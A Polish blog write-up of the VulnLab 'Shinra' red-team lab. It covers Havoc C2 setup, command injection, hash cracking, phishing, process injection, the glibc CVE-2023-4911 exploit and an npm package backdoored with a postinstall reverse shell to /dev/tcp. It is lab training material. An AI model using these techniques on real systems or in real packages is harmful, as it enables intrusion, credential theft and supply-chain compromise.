Red Team Adventures będzie serią blogów w których przedstawiać będę moje podejścia do zaawansowanych labów Red Teamowych. Serię tą rozpocznę scenariuszem nazwanym Shinra dostępnym na platformie VulnLab, w którym mam do czynienia z dojrzałą siecią Active Directory zawierająca:

  • Systemy Windows i Linux
  • Zabezpieczenia AV / EDR, których to logi są udostępniane na kanale discord serwera Vulnlab
  • Windows Defender Application Control czyli w skrócie WDAC (stara nazwa Device Guard)
  • ADCS
  • MSSQL

Dodatkowo przedstawię Ci w akcji ciekawe narzędzie C2 Havoc dostępne na Github FullSessionGraph.jpeg

Przygotowanie

Przed rozpoczęciem operacji najpierw przygotowanie OPSEC’owe. Na początku należy zmienić wartości domyślne profilu Havoc profiles/havoc.yaotl

Zmian jakich dokonałem to:

  1. Zmiana nasłuchiwania serwera Teamserver z 0.0.0.0 na 127.0.0.1. Ta zmiana jest najważniejsza gdyż nie chcemy aby ktoś widział panel naszego C2
  2. Zmiana domyślnego hasła użytkownika oraz usunięcie haseł endpointów
  3. Zmiana domyślnego wstrzyknięcia endpointu

Listener

Tutaj też dokonałem pare zmian:

  1. Zmiana domyślnego User Agent oraz endpointów URL
  2. Dodanie swojego certyfikatu. Tutaj użyłem modułu metasploit impersonate_ssl
  3. Usunięcie customowych nagłówków

Ostatecznie mój config wygląda następująco:

Teamserver {
    Host = "127.0.0.1"
    Port = 40056

    Build {
        Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
        Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc"
        Nasm = "/usr/bin/nasm"
    }
}

Operators {
    user "Neo" {
        Password = "<MySecurePassword>"
    }
}

Demon {
    Sleep = 2
    Jitter = 15

    TrustXForwardedFor = false

    Injection {
        Spawn64 = "C:\\Windows\\System32\\svchost.exe"
        Spawn32 = "C:\\Windows\\SysWOW64\\svchost.exe"
    }
}
Listeners {
    Http {
        Name         = "Agent Listener - HTTPS"
        Hosts        = [
            "<HOST/IP>"
        ]
        HostBind     = "0.0.0.0"
        PortBind     = 443
        PortConn     = 443
        HostRotation = "round-robin"
        Secure       = true
        UserAgent    = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"

        Uris = [
            "/favico.ico",
            "/index.php",
            "/robots.txt"
        ]

		Cert {
        	Cert = "/home/kali/.msf4/loot/20231114084544_default_216.58.208.206_216.58.208.206_c_680040.crt"
        	Key = "/home/kali/.msf4/loot/20231114084544_default_216.58.208.206_216.58.208.206_k_713991.key"
		}

        Headers = [
            "Content-type: text/plain",
        ]

        Response {
            Headers = [
                "Content-type: text/plain",
            ]
        }
    }
}

W celu zwiększenia OPSEC’u i zmniejszenia wykrywalności zalecam również edycję templatu payloadu Havoc’a lub użycie customowego loader’a, gdyż domyślny jest wykrywalny Pasted image 20231114152846.png

Lets the operation begins

Jak na początku każdej operacji Red Team mamy dostęp jedynie zewnętrznej części środowiska naszego celu. Serwer do którego mam dostęp ma skonfigurowanego poniższe usługi, w których skład wchodzą m.in HTTP oraz porty mailowe:

➜  Shinra nmap 172.16.10.20
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-11-14 11:28 EST
Nmap scan report for 172.16.10.20
Host is up (0.069s latency).
Not shown: 991 closed tcp ports (conn-refused)
PORT    STATE SERVICE
22/tcp  open  ssh
25/tcp  open  smtp
80/tcp  open  http
110/tcp open  pop3
143/tcp open  imap
443/tcp open  https
587/tcp open  submission
993/tcp open  imaps
995/tcp open  pop3s

Na portach webowych jest postawiony “VPN Gateway” Pasted image 20231114173017.png Skan plików i katalogów zakończył się wykryciem:

.htaccess               [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 4019ms]
.htpasswd               [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 4028ms]
backup                  [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 72ms]
css                     [Status: 301, Size: 310, Words: 20, Lines: 10, Duration: 69ms]
db                      [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 68ms]
images                  [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 71ms]
js                      [Status: 301, Size: 309, Words: 20, Lines: 10, Duration: 66ms]
mail                    [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 69ms]
partials                [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 66ms]
server-status           [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 68ms]

Oho jest db, backup. Ponowny bruteforce na tych katalogach wykazał iż jest dostępny backup bazy /backup/db. Plik ten jest archiwum zawierającym bazę vpn.db:

➜  Shinra wget 172.16.10.20/backup/db
--2023-11-14 11:36:46--  http://172.16.10.20/backup/db
Connecting to 172.16.10.20:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10240 (10K) [application/x-gzip]
Saving to: ‘db’

db  100[=============================================================================================>]  10.00K  -.-KB/s    in 0s      

2023-11-14 11:36:46 (386 MB/s) - ‘db’ saved [10240/10240]

➜  Shinra file db
db: POSIX tar archive (GNU)
➜  Shinra tar -xf db
➜  Shinra file vpn.db
vpn.db: SQLite 3.x database, last written using SQLite version 3037002, file counter 12, database pages 2, cookie 0x1, schema 4, UTF-8, version-valid-for 12

Jestem na dobrej drodze. Czas sprawdzić co kryje się w owej bazie. Dobra mamy hashe SHA512 Pasted image 20231114173850.png

No nic trzeba odpalić bruteforce i zobaczyć czy coś się złamie.

.\hashcat.exe ..\..\Kali\VULNLAB\Shinra\VPN_DB_HASHES .\rockyou.txt -m 1700

4295f074bf7cf303f7dd9d51f48593847c24860cac5bcda942c1b5d00d423e053c8f8a62242ae9470544f941ac89d275dfe5d39080b91a0c013f79d0f82fc9ee:user01
f43bb6551c366be3b5e4a4edbb738b0acca13e99d5c1e65adc5d31f53329c4f87cda09ccb33629891148815725741c93e6952976daa044b260ad260633ae0b17:user04
c1e26366cf464e05e169645f72ce4f51aa568f896eda516e4ebe658f1b9881491243e7b6ee17daa94d68d6eb39d6401ff8d3de0c258f985147effec5467e870a:user07
6a894709074af18ea638fb26417580414dc5f652ce204fe26422a91e01a3fd73f91472787448393753fea04e3bba2573874f82f411105902f178136054367348:user08
9493d60cc7456bab470c615c6c70d3eb3b31ebdfbcdd52bf242f8fddd7380f4af8742b41cffdccdbf4d5164cb8ac9e95574efce18a3442d4b4e7ad03ab8aeff0:user10

Oho i mamy pare haseł :)

Po zalogowaniu się na portalu VPN widać, że aplikacja pozwala na generowanie nie pełnych konfiguracji VPN: Pasted image 20231114174237.png

Lets the “bug bounty” begins. Odpalam Burpa i szukam bugów. Pierwsze co rzuciło mi się w oczy to…:

        <!-- Content -->
        <!-- Saved as /opt/vpn/user01.ovpn -->

Czyżby aplikacji korzystała z nazwy użytkownika do spersonalizowania nazwy pliku, to nie może być takie proste :D ? Twórca był na tyle miły i zostawił nam opcję zmiany nazwy użytkownika, no to wysyłamy pakiecik HTTP z injection 😈

GET /dashboard.php?page=account&displayname=`sleep%204`&action= HTTP/1.1
Host: 172.16.10.20
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://172.16.10.20/dashboard.php?page=account
Cookie: PHPSESSID=ctjba9gcfjrt92s5d49uagrd1c; roundcube_sessid=nsv4e29j2blrhgepnfhhois5cn
Upgrade-Insecure-Requests: 1

Tak jak przypuszczałem, aplikacja korzysta z zmiennej kontrolowanej przez użytkownika, a config VPN jest generowany przy użyciu komend systemowych: Pasted image 20231103131306.png

Inside Job

Jestem w środku już pare minut i znalazłem ciekawe dane, hasła użytkowników mailowych. Dobrze zapowiada się ta operacja Red Teamowa

www-data@web01:/tmp$ cat /etc/dovecot/dovecot-users
adm@shinra.vl:{plain}Shinra2022
victor.davis@shinra.vl:{plain}Gg2HNLJQ!$vC
ashleigh.lewis@shinra.vl:{plain}ay8$GA3R*^ZD
amy.hopkins@shinra.vl:{plain}f4Yzs5HJVz#Q
william.davis@shinra.vl:{plain}Eniwy7j5KH+oze                 
charlotte.newton@shinra.vl:{plain}ey9ZUa$ioCST
lynda.parry@shinra.vl:{plain}lynda1987                        

Dobrą praktyką będzie sprawdzenie każdego użytkownika gdyż któryś z nich może posiadać wrażliwe informacje na skrzynce pocztowej.

Okej z Williamem kontaktowała się Ashleigh z prośbą o podesłanie narzędzia HR, więc przygotuje się coś dla niej hehehe Pasted image 20231103135100.png

A w wysłanych znalazł się ciekawy załącznik :> Pasted image 20231103135729.png

Hasło do klucza to the usual one Hmmmmmm czy to nazwa firmy + rok lub jakaś inna prosta kombinacja ? Pewnie tak 😂 Czas przygotować wordlistę. Do tego zadania wykorzystam https://weakpass.com/generate dodając obecny rok do reguł.

➜  Shinra john -w:./custom_wordlist_shinra_based ssh_password
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Shinra2023       (?)

No i jest hasełko the usual one :D, a co jeszcze lepsze jest to klucz root’a więc nie trzeba już się eskalować WIN dla mnie 💪 Mając połączenie SSH mogę teraz wykonać tunel SOCKS oraz wykonać wewnętrzne skany gdyż host ma dwa interfejsy

root@web01:~# ifconfig 
ens34: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.16.10.20  netmask 255.255.255.0  broadcast 172.16.10.255
        inet6 fe80::20c:29ff:feaa:c98f  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:aa:c9:8f  txqueuelen 1000  (Ethernet)
        RX packets 10366  bytes 2165041 (2.1 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 12063  bytes 5118467 (5.1 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

ens37: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.16.11.20  netmask 255.255.255.0  broadcast 172.16.11.255
        inet6 fe80::20c:29ff:feaa:c999  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:aa:c9:99  txqueuelen 1000  (Ethernet)
        RX packets 34386  bytes 18965047 (18.9 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 44802  bytes 59718673 (59.7 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Interal

Na dobry początek odpalę swój standardowy skan z paroma portami, które wykryją większość systemów w sieci:

proxychains nmap -vvv -sT -p 445,80,443,3389,88,22,1433 -oA nmap/proxy_web01 172.16.11.20/24 -n -Pn 

445 - systemy windows 80 i 443 - aplikacje webowe 3389 - systemy windows gdyż 445 może nie wykryć wszystkich systemów 88 - kontrolery domeny 22 - Linuxy 1433 - MSSQL

Skan chwilę potrwa więc mogę zająć się przygotowaniem exe’a dla kochanej ashleigh. Do tego zadania użyłem Havoc. Po połączeniu się z teamserwerem, wybrałem Attack -> Payload i użyłem poniższej konfiguracji dla mojego payloadu. Pasted image 20231116122841.png Po wygenerowaniu payloadu czas na wysłanie narzędzie “HR” dla ashleigh >:)

Po chwili czekania pojawił się agent w C2 😎 Pasted image 20231114181906.png Przynęta zadziałała 11a.gif Czas na enumeracje!

W między czasie skończył się skan wewnętrznej sieci i oto nasze targety

172.16.11.10     
172.16.11.100     
172.16.11.101    
172.16.11.11           
172.16.11.12           
172.16.11.13            
172.16.11.20          
172.16.11.50             
172.16.11.70     
172.16.11.71         
172.16.11.80  
172.16.11.81  

Successful phishing

Trochę mi to zajęło ale znalazłem ciekawą poszlakę. Nasz użytkownika ma uruchomiony Microsoft Notes, a w notatkach mogą kryć się ciekawe skarby :))) Pasted image 20231114183214.png

Z serwera C2 można wykonać screenshot ekranu, więc w tym scenariuszu warto to sprawdzić.

O i co tutaj mamy :> Pasted image 20231114190447.png

Dev shell

Używając binarkę RunasCS oraz uzyskane dane dostępowe uzyskam shella jako użytkownik dev:

upload /home/kali/Desktop/Kali/tools/RunasCs_net4.exe C:\\Windows\\Tasks\\runas.exe

shell icacls C:\\Windows\\Tasks\\x4nt0n.exe /grant Everyone:"(RX)"
powershell C:\\Windows\\Tasks\\runas.exe dev d3v_2023! "C:\\Windows\\Tasks\\x4nt0n.exe"

Po uruchomieniu RunasCS z danymi dostępowymi wpadł nowy agent: Pasted image 20231114201538.png

Privilege escalation

Użytkownik dev ma bardzo ciekawe uprawnienie:

Privilege Name Description State
============================= ================================================= ===========================
[...]
SeDebugPrivilege Debug programs Disabled
[...]

Dzięki SeDebug mogę wpiąć się do procesu NT SYSTEM i to własnie zrobie :> Najpierw upload shellcodu na serwer:

upload /home/kali/Desktop/Kali/tools/demon.x64.bin /Windows/Tasks/demon.x64.bin

Do wstrzyknięcia się do procesu użyję https://github.com/3xpl01tc0d3r/ProcessInjection z następująca składnia

dotnet inline-execute /home/kali/Desktop/Kali/tools/ProcessInjection.exe /f:raw /pid:3488 /t:1 /path:C:\Windows\Tasks\demon.x64.bin

Użyłem tutaj dość wysokiego procesu systemowego, gdyż użycie innych, niższych może spowodować niestabilność systemu szczególnie gdy zostanie on wykryty przez systemy detekcji

Po odpaleniu powyższej komendy pojawił się systemowy shell 🐱‍👤 Pasted image 20231115135844.png

Z najwyższymi uprawnieniami czas na zebranie plonów czytaj lokalnych haszy i sekretów: Pasted image 20231115135747.png

Super, są i hasze lokalnych użytkowników, dodatkowe sekrety zdumpuje przy użyciu narzędzia impacket-secretsdump

➜  Shinra proxychains impacket-secretsdump Administrator@172.16.11.10 -hashes :995b2b8c335d042e16081e0f0caec5fe
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x6e5310babfd59047b0309a2fd3989a1e
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:995b2b8c335d042e16081e0f0caec5fe:::
[...]
[*] DefaultPassword 
shinra-dev.vl\ashleigh.lewis:eqYQ5_RXZtUYPJ

Mamy dane dostępowe do konta domenowego. Najwyższy czas na skan usług w sieci oraz AD przy użyciu BloodHound’a, dodatkowo sprawdzę czy któreś z wcześniej znalezionych haseł jest prawidłowe. Do tego zadania idealnie nada się crackmapexec:

proxychains crackmapexec smb 172.16.11.101 -u USERS -p PASSES -d shinra-dev.vl --no-bruteforce --continue-on-success

SMB         172.16.11.101    445    CLIENT01         [+] shinra-dev.vl\william.davis:Eniwy7j5KH+oze
SMB         172.16.11.101    445    CLIENT01         [+] shinra-dev.vl\ashleigh.lewis:eqYQ5_RXZtUYPJ

No i mamy re-use hasła, cudnie :) Teraz czas na sprawdzenie co znajduje się w udostępnionych katalogach SMB:

SMB         172.16.11.50    445    FILE01           [+] Enumerated shares
SMB         172.16.11.50    445    FILE01           Share           Permissions     Remark
SMB         172.16.11.50    445    FILE01           -----           -----------     ------
SMB         172.16.11.50    445    FILE01           ADMIN$                          Remote Admin
SMB         172.16.11.50    445    FILE01           C$                              Default share
SMB         172.16.11.50    445    FILE01           IPC$            READ            Remote IPC
SMB         172.16.11.50    445    FILE01           Shinra          READ            Shinra Company Share
SMB         172.16.11.100   445    DC               [-] shinra-dev.vl\william.davis:Eniwy7j5KH+oze STATUS_LOGON_FAILURE 
SMB         172.16.11.13    445    CLIENT04         [+] Enumerated shares
SMB         172.16.11.13    445    CLIENT04         Share           Permissions     Remark
SMB         172.16.11.13    445    CLIENT04         -----           -----------     ------
SMB         172.16.11.13    445    CLIENT04         ADMIN$                          Remote Admin
SMB         172.16.11.13    445    CLIENT04         C$                              Default share
SMB         172.16.11.13    445    CLIENT04         IPC$            READ            Remote IPC
SMB         172.16.11.10    445    CLIENT01         [+] shinra-dev.vl\william.davis:Eniwy7j5KH+oze 
SMB         172.16.11.13    445    CLIENT04         workspace       READ,WRITE      
SMB         172.16.11.10    445    CLIENT01         [+] Enumerated shares
SMB         172.16.11.10    445    CLIENT01         Share           Permissions     Remark
SMB         172.16.11.10    445    CLIENT01         -----           -----------     ------
SMB         172.16.11.10    445    CLIENT01         ADMIN$                          Remote Admin
SMB         172.16.11.101   445    DC               [+] Enumerated shares
SMB         172.16.11.10    445    CLIENT01         C$                              Default share
SMB         172.16.11.10    445    CLIENT01         IPC$            READ            Remote IPC
SMB         172.16.11.101   445    DC               Share           Permissions     Remark
SMB         172.16.11.101   445    DC               -----           -----------     ------
SMB         172.16.11.101   445    DC               ADMIN$                          Remote Admin
SMB         172.16.11.101   445    DC               C$                              Default share
SMB         172.16.11.101   445    DC               CertEnroll      READ            Active Directory Certificate Services share
SMB         172.16.11.101   445    DC               IPC$                            Remote IPC
SMB         172.16.11.101   445    DC               NETLOGON        READ            Logon server share 
SMB         172.16.11.101   445    DC               SYSVOL          READ            Logon server share 

Na 172.16.11.101 mamy ADCS, reszta jest standardowa nie licząc dwóch katalogów:

  1. 172.16.11.50/Shinra z uprawnieniami read, na którym jest plik info.txt
➜ proxychains smbclient -W shinra-dev.vl -U william.davis%'Eniwy7j5KH+oze' //172.16.11.50/Shinra                      
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Mon Dec 26 18:07:46 2022
  ..                                  D        0  Mon Dec 26 18:07:46 2022
  info.txt                            A      160  Mon Dec 26 18:07:34 2022

		6133759 blocks of size 4096. 2976184 blocks available
smb: \> get info.txt
getting file \info.txt of size 160 as info.txt (0.5 KiloBytes/sec) (average 0.5 KiloBytes/sec)
smb: \> 

➜  cat info.txt                          
 ,_     _
 |\\_,-~/
 / _  _ |    ,--.
(  @  @ )   / ,-'
 \  _T_/-._( (
 /         `. \
|         _  \ |
 \ \ ,  /      |
  || |-_\__   /
 ((_/`(____,-'    
  1. 172.16.11.13/workspace z uprawnieniami Read/Write, na którym jest plik workspace.txt
➜ proxychains smbclient -W shinra-dev.vl -U william.davis%'Eniwy7j5KH+oze' //172.16.11.13/workspace    
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Fri Nov  3 16:57:06 2023
  ..                                  D        0  Fri Nov  3 16:57:06 2023
  workspace.txt                       A       28  Wed Dec 21 03:11:40 2022

		8358281 blocks of size 4096. 2397581 blocks available
smb: \> get workspace.txt 
getting file \workspace.txt of size 28 as workspace.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
smb: \>         
➜  cat workspace.txt 
shared development workspace 

Mało plików i katalogów mamy udostępnione w tej sieci, zazwyczaj jest ich tyle, że samo sprawdzenie tego zajmuje sporo czasu, ale okej zobaczmy gdzie jeszcze mamy dostęp.

Z wcześniejszych skanów wynika, że w sieci znajdowały się serwery z uruchomioną usługą SSH, więc czas na kolejny bruteforce

➜ proxychains crackmapexec ssh SSH_hosts -u william.davis@shinra-dev.vl -p 'Eniwy7j5KH+oze'

SSH         172.16.11.13    22     172.16.11.13     [*] SSH-2.0-OpenSSH_for_Windows_8.1
SSH         172.16.11.11    22     172.16.11.11     [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3
SSH         172.16.11.71    22     172.16.11.71     [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3
SSH         172.16.11.70    22     172.16.11.70     [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3
SSH         172.16.11.20    22     172.16.11.20     [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3
SSH         172.16.11.13    22     172.16.11.13     [-] william.davis@shinra-dev.vl:Eniwy7j5KH+oze Bad authentication type; allowed types: ['publickey', 'keyboard-interactive']
SSH         172.16.11.11    22     172.16.11.11     [+] william.davis@shinra-dev.vl:Eniwy7j5KH+oze 
SSH         172.16.11.71    22     172.16.11.71     [+] william.davis@shinra-dev.vl:Eniwy7j5KH+oze 
SSH         172.16.11.70    22     172.16.11.70     [+] william.davis@shinra-dev.vl:Eniwy7j5KH+oze

Wstępna enumeracja tych systemów wykazała, że 172.16.11.71 (REGISTRY) jest połączony z 172.16.11.11 (CLIENT02) gdyż na serwerze REGISTRY znajduje się serwer pakietów NPM, a na CLIENT02 jest postawiona aplikacja nodejs, więc przejęcie jednego będzie równo znaczne z eskalacją uprawnień na drugim systemie. Samą eskalację serwerów Linuxowych zacząłem od 172.16.11.70

172.16.11.70 & 172.16.11.71

Na tym systemie znalazłem dwie możliwe drogi eskalacji, pierwsza to niestandardowa binarka /usr/bin/elevate posiadająca SUID root’a. Wstępna analiza wykazała iż program ten wykonuje operacje kryptograficzne:

Pasted image 20231116115738.png A druga to … Wykorzystanie niedawnej podatności w glibc 😈, z której to skorzystałem bo czemu nie, przecież robimy Red Team, wszystkie chwyty dozwolone :>

Eksploitując tą podatność korzystałem z poniższego artykuły https://www.uptycs.com/blog/cve-2023-4911-looney-tunables-glibc-exploit

Po weryfikacji czy system jest podatny zabrałem się za eksploitację, która to zakończyła się sukcesem >:)

william.davis@shinra-dev.vl@prov:~$ python3 god.py 

      $$$ glibc ld.so (CVE-2023-4911) exploit $$$
            -- by blasty <peter@haxx.in> --      

[i] libc = /lib/x86_64-linux-gnu/libc.so.6
[i] suid target = /usr/bin/su, suid_args = ['--help']
[i] ld.so = /lib64/ld-linux-x86-64.so.2
[i] ld.so build id = 61ef896a699bb1c2e4e231642b2e1688b2f1a61e
[i] __libc_start_main = 0x29dc0
[i] using hax path b'"' at offset -20
[i] wrote patched libc.so.6
[i] using stack addr 0x7ffe1010100c
..........................................# ** ohh... looks like we got a shell? **

id
uid=0(root) gid=1492400513(domain users@shinra-dev.vl) groups=1492400513(domain users@shinra-dev.vl),1492401119(it@shinra-dev.vl)

W katalogu domowym roota znajduje się flaga lecz jest ona zaszyfrowana przy użyciu ansible-vault

root@prov:~# cat root.yml 
$ANSIBLE_VAULT;1.1;AES256
64303263383665623436623731656131336161366465643965316237663032303633626339383766
3163343561663233336563343733666430373836386630320a666264366465666462386337643033
<REDACTED>
root@prov:~#

Plik przeniosłem na swój serwer i kolejno utworzyłem hash pliku przy użyciu ansible2john oraz wykonałem atak bruteforce w celu odzyskania hasła vaulta, który to zakończył się sukcesem. W celu odszyfrowania pliku należy:

➜ ansible-vault decrypt root.yml
➜ cat root.yml
VL{👻}

Dalsza enumeracja systemu wykazała, że w katalogu .ssh są dwa klucze:

root@prov:~# ls -al .ssh/
total 24
drwx------ 2 root root 4096 Dec 18  2022 .
drwx------ 8 root root 4096 Nov 16 08:03 ..
-rw------- 1 root root   91 Dec 18  2022 authorized_keys
-rw------- 1 root root 1956 Dec 18  2022 known_hosts
-rw------- 1 root root  399 Dec 18  2022 prov
-rw------- 1 root root  399 Dec 18  2022 registry

Czyżby miał instant root’a na serwerze registry ? Trzeba to sprawdzić

root@prov:~# ssh -i .ssh/registry root@172.16.11.71
Welcome to Ubuntu 22.04.1 LTS (GNU/Linux 5.15.0-56-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu Nov 16 11:14:58 AM UTC 2023

  System load:  0.0               Processes:               211
  Usage of /:   66.0% of 9.75GB   Users logged in:         0
  Memory usage: 52%               IPv4 address for ens192: 172.16.11.71
  Swap usage:   17%

  => There is 1 zombie process.

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

11 updates can be applied immediately.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Sun Dec 18 11:38:25 2022 from 172.16.11.70
root@registry:~# hostname
registry

Super jest kolejny shell. Wracając do tego co mówiłem wczesniej, na serwerze client02 jest uruchomiony nodejs

carol.m+  799739  0.0  0.0   2888   972 ?        Ss   17:50   0:00      _ /bin/sh -c pkill node; cd /home/carol.mason@shinra-dev.vl/projects/web; npm update; nodemon index.js

A na registry serwer NPM Pasted image 20231105194154.png

Dla potwierdzenia, że CLIENT02 pobiera pakiety z REGISTRY uruchomiłem komendę npm config list w katalogu aplikacji nodejs:

william.davis@shinra-dev.vl@client02:/home/carol.mason@shinra-dev.vl/projects/web$ npm config list
; "builtin" config from /usr/share/nodejs/npm/npmrc

globalignorefile = "/etc/npmignore" 
prefix = "/usr/local" 

; "user" config from /home/william.davis@shinra-dev.vl/.npmrc

//172.16.11.71:4873/:_password = (protected) 
//172.16.11.71:4873/:username = "admin" 
; email = "carol.masonl@shinra-dev.vl" ; overridden by project

; "project" config from /home/carol.mason@shinra-dev.vl/projects/web/.npmrc

_auth = (protected) 
always-auth = true 
email = "carol.masonl@shinra-dev.vl" 
init.author.email = "carol.masonl@shinra-dev.vl" 
init.author.name = "Carol" 
init.author.url = "http://shinra.vl/" 
registry = "http://172.16.11.71:4873/" 

Skoro mamy już potwierdzenie, że aplikacja pobiera dane z wewnętrznego serwera NPM czas na przyszykowanie backdoor’u

Backdoor NPM

W celu dodania backdooru do pakietu NPM należy w pliku package.json w sekcji script dodać instrukcję postinstall. W ten sposób do pliku ~/verdaccio/storage/express/package/package.json dodałem poniższy reverse shell

"postinstall": "/bin/bash -c 'bash -i >& /dev/tcp/10.8.0.192/9001 0>&1'"

Po dodaniu powyższej komendy zmieniłem wersję pakietu, aby klient wiedział że ma pobrać aktualizację i zapakowałem złośliwy pakiet:

npm version 4.18.4
npm pack
[...]
npm notice === Tarball Details === 
npm notice name:          express                                 
npm notice version:       4.18.4                                  
npm notice filename:      express-4.18.4.tgz                      
npm notice package size:  56.0 kB                                 
npm notice unpacked size: 214.2 kB                                
npm notice shasum:        bd55deb594e351d8afd58dc6a74c11e91a48ae8f
npm notice integrity:     sha512-eeNWyGacCNc9n[...]S7tQ/Ya3Bm6ag==
npm notice total files:   16                                      
npm notice 
express-4.18.4.tgz

W celu opublikowaniu zmian należy posiadać jeszcze hasło do usługi verdaccio. Aplikacja ta korzysta z basic auth, dla którego sekret jest zapisany w pliku .htpasswd :

$apr1$DWuTtcvV$1ZfTGBSZgp.s1HB8uXsh40

Bruteforce tego hasha poskutkował uzyskaniem poniższego hasła

masamune

Teraz skoro posiadam dane logowania mogę opublikować zmiany do tego użyłem poniższych komend

npm login --registry http://172.16.11.71:4873/
npm publish express-4.18.4.tgz --registry http://172.16.11.71:4873/

Po chwili wpadł kolejny shell

200.gif

W katalogu ~/.ssh jest kolejny klucz

carol.mason@shinra-dev.vl@client02:~/.ssh# ls -al
total 16
drwx------  2 carol.mason@shinra-dev.vl domain users@shinra-dev.vl 4096 Jan  8  2023 .
drwxr-xr-x 18 carol.mason@shinra-dev.vl domain users@shinra-dev.vl 4096 Jan  8  2023 ..
-rw-------  1 carol.mason@shinra-dev.vl domain users@shinra-dev.vl  399 Jan  8  2023 id_ed25519
-rw-r--r--  1 carol.mason@shinra-dev.vl domain users@shinra-dev.vl   90 Jan  8  2023 id_ed25519.pub
carol.mason@shinra-dev.vl@client02:~/.ssh$ cat id_ed25519.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFiZi1Rl1p5TWCvUTozg9BsutxDJBlNdv4beKw+wL5a4 root key

I jest to klucz root’a 😃

carol.mason@shinra-dev.vl@client02:~/.ssh# ssh -i id_ed25519 root@localhost
Welcome to Ubuntu 22.04.1 LTS (GNU/Linux 5.15.0-56-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Thu Nov 16 16:32:57 2023 from 172.16.11.20
root@client02:~# cat root.txt 
VL{😱}

Udało się pierwsza część już za nami, podsumowując uzyskałem dostęp do sieci wewnętrznej poprzez podatność w aplikacji webowej, następnie wysyłając phishing przejąłem konto domenowe jednego z użytkowników oraz wyeskalowałem uprawnienia na systemie na którym funkcjonuje. Ponadto przejąłem 4 systemy Linux:

  • Web01
  • Prov
  • Registry
  • Client02

W kolejnej części będzie się działo, omijanie nowoczesnych zabezpieczeń oraz ciekawe sposoby na eskalację uprawnień.